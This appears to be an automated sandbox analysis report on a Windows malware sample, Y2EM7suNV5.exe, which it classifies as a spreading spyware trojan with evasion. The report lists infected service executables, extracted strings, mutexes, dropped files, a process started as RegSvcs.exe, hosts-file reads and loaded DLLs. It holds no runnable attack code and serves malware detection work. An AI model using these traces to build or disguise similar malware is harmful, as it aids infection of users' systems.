Source: armsvc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FlashPlayerUpdateService.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: alg.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: aspnet_state.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wbengine.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ieetwcollector.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WmiApSrv.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: wmpnetwk.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msiexec.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: perfhost.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Locator.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: snmptrap.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: sppsvc.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_NOT_PAGED, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SearchIndexer.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: vds.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: VSSVC.exe.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OSE.EXE.2.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: wbengine.exe.2.dr	Binary string: YK _hImpersonationToken != INVALID_HANDLE_VALUEd:\w7rtm\base\stor\blb\blbimg\blbimg.cxxReadHandle != INVALID_HANDLE_VALUEWriteHandle != INVALID_HANDLE_VALUEpdwFlagsFveGetStatusWwszDeviceName%ws\%wsExtentLength > 0pCurrentListEntry->Length > 0pbRecomputeNeededpBadClusExtentsBeforeRecoverypBpb\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{\System Volume Information\*{3808876B-C176-4e48-B7AE-04046E6CC752}\System Volume Information\readBuffer != NULL{{3808876B-C176-4e48-B7AE-04046E6CC752}!IsListEmpty(&diffsInSource)\pagefile.sys\hiberfil.sysBackupFileNameUniqueIdWin32ErrorCodeIoState[CurrentBuffer] == BLBIMGI_IO_STATE_WRITINGoffset[i] < volumeSizet.QuadPart < restoreContext->VolumeSize\\?\GLOBALROOT\Device\BlbControlImpersonationToken != INVALID_HANDLE_VALUEoutputBuf->MultiSzLength % sizeof (WCHAR) == 0.\%ws_compressionReadAheadBufferOverlapped.hEventd:\w7rtm\base\stor\blb\blbimg\backfile.cxx_handle != NULL_isCompactForm == FALSE_handle == NULLblockNumberOnDisk != 0xFFFFFFFFdiskOffset >= volumeStartOffsetvolumeBlockOffsetBitLength >= bitsInvolumeStartOffset_batRelativeVolumePointer >= BLBIMGF_SECTOR_SIZE!_isCompactForm_batList[diskBlockOffset] != 0xFFFFFFFFdiskBlockOffset < _numberOfBatEntriesoffsetInDiskBlock % BLBIMGI_BYTES_PER_BLOCK == 0prevBlock >= 0(length == BLBIMGI_BYTES_PER_BLOCK) \|\| isLastBlockInSource_currentFilePointer < _maximumFileSize!_isReadInitialized_currentFileSize >= _existingFileSizebitsInvolumeStartOffset < BLBIMGI_BITS_PER_BAT_BLOCKbisMasterBootRecord_currentFilePointer <= _maximumFileSize_newVhdFormatconectixvsimcxsparsewriteOffSet - Length + _lastBlockSize == _volumeSizereadOffset.QuadPart%BLBIMGF_SECTOR_SIZE == 0readOffset.QuadPart/BLBIMGF_SECTOR_SIZE >= _firstBlockSectorreadOffset.QuadPart/BLBIMGF_SECTOR_SIZE <= _maximumFileSizelen == _sectorSized:\w7rtm\base\stor\blb\blbimg\snapvol.cxx_currentBitNumber == 0_currentBlockListNumber < _batBlockListLength_batBlockList[_currentBlockListNumber] != 0xFFFFFFFFbytesRead == lensplitReadulReadSize > 0_blockBitmap.SizeOfBitMap >= 1.
Source: wbengine.exe.2.dr	Binary string: Element\Device\HarddiskVolume
Source: wbengine.exe.2.dr	Binary string: >`WindowsBackupLinksLink_{47b7fa87-ce42-48ff-8b18-2f1088121503}Child_{47b7fa87-ce42-48ff-8b18-2f1088121503}\\?\Globalroot\Device\Harddisk%lu\Partition1\a
Source: wbengine.exe.2.dr	Binary string: \Device\Harddisk%lu\Partition%lu
Source: wmpnetwk.exe.2.dr	Binary string: \Device\KsecDDntdll.dllNtQuerySystemInformationNtOpenFileRtlInitUnicodeStringSeedSOFTWARE\Microsoft\Cryptography\RNG
Source: wbengine.exe.2.dr	Binary string: !m_bAsyncInProgressd:\w7rtm\base\stor\blb\engine\service\engine.cpp!m_pAsyncRefg_cInitialized == 0SeBackupPrivilegeSeRestorePrivilegefveapi.dllm_pAsyncRef == NULL && m_eOperationType == BLB_OT_UNDEFINEDcVolume < cMaxVolumecTarget < cMaxTargetm_pAsyncHelper == NULL && m_pAsyncRef == NULL*ppAsync != NULLm_bIsRecoveryStartedBlbMountedVolumesBlbMountedVolumeFile%d\\?\GLOBALROOT\Device\HarddiskVolumeFile%dm_numNetworkShareVolumes > 0NOT currOffset < bufSizeOutm_pAsyncHelper!m_pAsyncHelperShowWarningwszFileSpecsXMLpTemplatepbAllCriticalpbSystemStatepTargetpMedia->m_eMediaType == BLB_MT_SHINY \|\| pMedia->m_eMediaType == BLB_MT_REMOVABLEpCatBackupSet->m_cTarget == 1Software\Policies\Microsoft\Windows\Backup\ClientSoftware\Policies\Microsoft\Windows\Backup\ServerDisableBackupToNetworkNoBackupToNetworkDisableBackupToDiskNoBackupToDiskDisableBackupToOpticalNoBackupToOpticalNoRunNowBackupOnlySystemBackupDisableSystemBackupUIRestoreTimeSoftware\Microsoft\Windows NT\CurrentVersion\SystemRestoreRestoreStatusResultguidBackupSetId != GUID_NULLcMedia > 0rgCatBackupSet[i].m_wszCurrentTargetNamem_pCatalogSystempTemplate->m_bIsScheduledTemplatepOldTemplate != NULLpNewTemplate != NULLpbstTypergBackupVolumesrgAllVolumesInfocBackupVolumecVolumeInfotk

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@17/36@145/21

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Code function: 2_2_00C8CBD0 StrStrIW,CloseHandle,StrStrIW,CloseServiceHandle,OpenServiceW,StrStrIW,_wcslen,ChangeServiceConfigW,StrStrIW,StrStrIW,CloseServiceHandle,CloseHandle,StartServiceW,

2_2_00C8CBD0

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\logAD9E.tmp

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe

File created: C:\Users\user\AppData\Roaming\6b019fa68ff011e5.bin

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-6b019fa68ff011e5ab63edc8-b
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-6b019fa68ff011e59ea72c54-b
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-6b019fa68ff011e5-inf

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe

File created: C:\Users\user\AppData\Local\Temp\Dunlop

Jump to behavior

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Y2EM7suNV5.exe

ReversingLabs: Detection: 81%

Source: unknown	Process created: C:\Users\user\Desktop\Y2EM7suNV5.exe "C:\Users\user\Desktop\Y2EM7suNV5.exe"
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe
Source: unknown	Process created: C:\Windows\ehome\ehrecvr.exe C:\Windows\ehome\ehRecvr.exe
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Y2EM7suNV5.exe"
Source: unknown	Process created: C:\Windows\ehome\ehsched.exe C:\Windows\ehome\ehsched.exe
Source: unknown	Process created: C:\Windows\System32\ieetwcollector.exe C:\Windows\system32\IEEtwCollector.exe /V
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
Source: unknown	Process created: C:\Windows\System32\msdtc.exe C:\Windows\System32\msdtc.exe
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: unknown	Process created: C:\Windows\SysWOW64\perfhost.exe C:\Windows\SysWow64\perfhost.exe
Source: unknown	Process created: C:\Windows\System32\Locator.exe C:\Windows\system32\locator.exe
Source: unknown	Process created: C:\Windows\System32\snmptrap.exe C:\Windows\System32\snmptrap.exe
Source: unknown	Process created: C:\Windows\System32\vds.exe C:\Windows\System32\vds.exe
Source: unknown	Process created: C:\Windows\System32\wbengine.exe "C:\Windows\system32\wbengine.exe"
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\Y2EM7suNV5.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Y2EM7suNV5.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: webengine4.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: ehtrace.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: ehetw.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\ehome\ehrecvr.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: ehetw.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\ehome\ehsched.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\ieetwcollector.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\ieetwcollector.exe	Section loaded: rpcrtremote.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: wow64win.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: wow64cpu.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: webio.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: mpr.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: secur32.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtctm.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcprx.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxclu.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: resutils.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: version.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtclog.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: xolehlp.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: comres.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcvsp1res.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxoci.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: oci.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: credssp.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\msdtc.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\vds.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vds.exe	Section loaded: osuninst.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\vds.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\vds.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\vds.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ifsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\vds.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: atl.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: virtdisk.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fveapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fvecerts.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: rpcrtremote.dll

Source: C:\Windows\ehome\ehrecvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A5CF917A-0F75-4B29-A0A0-5348E501DA59}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

